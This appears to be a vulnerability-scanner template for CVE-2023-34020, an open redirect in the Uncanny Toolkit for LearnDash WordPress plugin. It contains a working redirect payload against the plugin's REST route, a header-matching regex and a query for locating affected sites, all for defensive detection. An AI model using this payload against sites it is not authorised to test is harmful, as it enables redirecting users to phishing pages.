Uncanny Toolkit for LearnDash - Open Redirection

id: CVE-2023-34020

info:
  name: Uncanny Toolkit for LearnDash - Open Redirection
  author: LeDoubleTake
  severity: medium
  description: |
    A vulnerability in the WordPress Uncanny Toolkit for LearnDash Plugin allowed malicious actors to redirect users, posing a potential risk of phishing incidents. The issue has been resolved in version 3.6.4.4, and users are urged to update for security.
  impact: |
    Unauthenticated attackers can craft malicious redirect URLs through the REST API to redirect LearnDash users to phishing sites, potentially stealing login credentials and compromising user accounts.
  remediation: |
    Update Uncanny Toolkit for LearnDash plugin to version 3.6.4.4 or later that validates redirect URLs and prevents open redirect attacks in the REST API.
  reference:
    - https://patchstack.com/database/vulnerability/uncanny-learndash-toolkit/wordpress-uncanny-toolkit-for-learndash-plugin-3-6-4-3-open-redirection-vulnerability
    - https://wordpress.org/plugins/uncanny-learndash-toolkit/
    - https://patchstack.com/database/vulnerability/uncanny-learndash-toolkit/wordpress-uncanny-toolkit-for-learndash-plugin-3-6-4-3-open-redirection-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
    cvss-score: 4.7
    cve-id: CVE-2023-34020
    cwe-id: CWE-601
    epss-score: 0.00963
    epss-percentile: 0.57329
    cpe: cpe:2.3:a:uncannyowl:uncanny_toolkit_for_learndash:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/uncanny-learndash-toolkit/"
    product: uncanny_toolkit_for_learndash
    vendor: uncannyowl
  tags: cve2023,cve,wordpress,uncanny-learndash-toolkit,wpscan,redirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/ult/v2/review-banner-visibility&action=maybe-later&redirect=yes&redirect_url=https://interact.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
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